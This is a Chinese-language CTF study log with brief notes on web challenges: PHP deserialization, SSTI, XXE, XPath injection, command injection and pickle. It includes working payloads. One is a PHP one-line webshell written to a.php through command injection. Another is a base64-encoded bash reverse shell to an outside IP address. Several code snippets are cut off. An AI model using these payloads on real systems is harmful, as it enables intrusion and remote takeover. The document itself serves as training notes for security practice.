x
想吃炸鸡day9,本来就笨,睡不好更笨了
[NewStarCTF 2023 公开赛道]Unserialize?
PHP 序列化的时候 private和 protected 变量会引入不可见字符%00,private是%00 类 名%00属性名 ,protected为%00*%00属性名 ,注意这两个 %00就是 ascii 码0的字符。这个字符显示和输出可能看不到,甚至导致截断(无法复制),但是url编码后就可以看得清楚.。
就是说上面的O:4:“evil”:1:{s:9:“evilcmd”;s:2:“ls”;}
要改为O:4:“evil”:1:{s:9:“%00evil%00cmd”;s:2:“ls”;}
接下来查看 根目录 ,这里也有一个细节%20算作一个字符串,所以s:后面填4。
最后就是查看flag文件了,可以用上面提到的命令替换cat命令。这里就用sort命令来看。
1 | <?php |
[GWCTF 2019]你的名字
关键特征:name,回显在页面上,就是ssti,ssti+外带数据
但是为什么报php的错误
虽然是python后端,但加了个php模式的报错和index.php路由
ssti盲注payload,报错可能是字符串置换为空,双写绕过试一下
fenjing启动方法
python -m fenjing.webui
用fenjing可直接读取
[GoogleCTF2019 Quals]Bnv
有json的地方就可能有xxe,尝试加载外部实体,报错加载实体
1 | <?xml version="1.0"?> |
报错:internal error: xmlParseInternalSubset: error detected in Markup declaration, line 1, column 1
文档类型声明包含或指向的标记声明必须格式正确
这意味着文件已经正确加载了,但由于它不是个格式良好的xml文件 所以它中断了。
如果我们尝试引用 系统 不存在的文件,会报错:
failed to load external entity “file:///xxxx”, line 6, column 10
[NPUCTF2020]ezlogin
注入的对象不是数据库users表了,而是一个存储数据的XML文件。因为xpath不存在访问控制,所以我们不会遇到许多在SQL注入中经常遇到的访问限制。 注入出现的位置也就是**cookie,headers,request parameters/input**等
1 | ' or count(/)=1 or '= |
这个也是可以的
[羊城杯 2020]Easyphp2
| 部分 | 说明 |
|---|---|
' |
闭合原始命令中的 printf ',使前面的部分形成 printf ''(输出空字符串) |
| ` | ` |
echo+"... |
echo 命令用于输出字符串,+ 在 URL 中被解码为空格,实际 shell 命令为 echo "..." |
"<?= eval(\$_POST['shell'])?>" |
写入文件的内容,是一个 PHP 一句话木马: - <?= 是 PHP 短标签,相当于 <?php echo,但此处配合 eval 可执行任意代码。 - eval($_POST['shell']) 接收 POST 参数 shell 并执行,即典型的 webshell。 |
> a.php |
输出重定向,将 echo 的结果写入当前目录下的 a.php 文件(若文件不存在则创建) |
末尾 +>+a.php |
+ 解码为空格,保证命令语法正确 |
我看了好多wp都没写蚁剑连的url是什么,我试了?file=a.php或者直接/a.php,第一个直接连接不到了,第二个404,不知道是url格式错了还是根本就没写进去
[RoarCTF 2019]Simple Upload
tp文件上传漏洞,多文件上传数组绕过strstr,tp文件上传路径,
我应该练习一下写脚本的能力的,二刷的时候补充吧
[watevrCTF-2019]Pickle Store
pickle序列化(再次强调先自己做,再看wp,见证自己思维搞笑性)
YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE1My4yMDIuMjMyLzIwIDA+JjE=
这个也失败,有点想似了
[XNUCA2019Qualifier]EasyPHP
上传一个htaccess文件写马绕过unlink htaccess配合文件包含修改flag路径
[NewStarCTF 2023 公开赛道]泄漏的秘密
robots和www.zip
如有错误,多多指教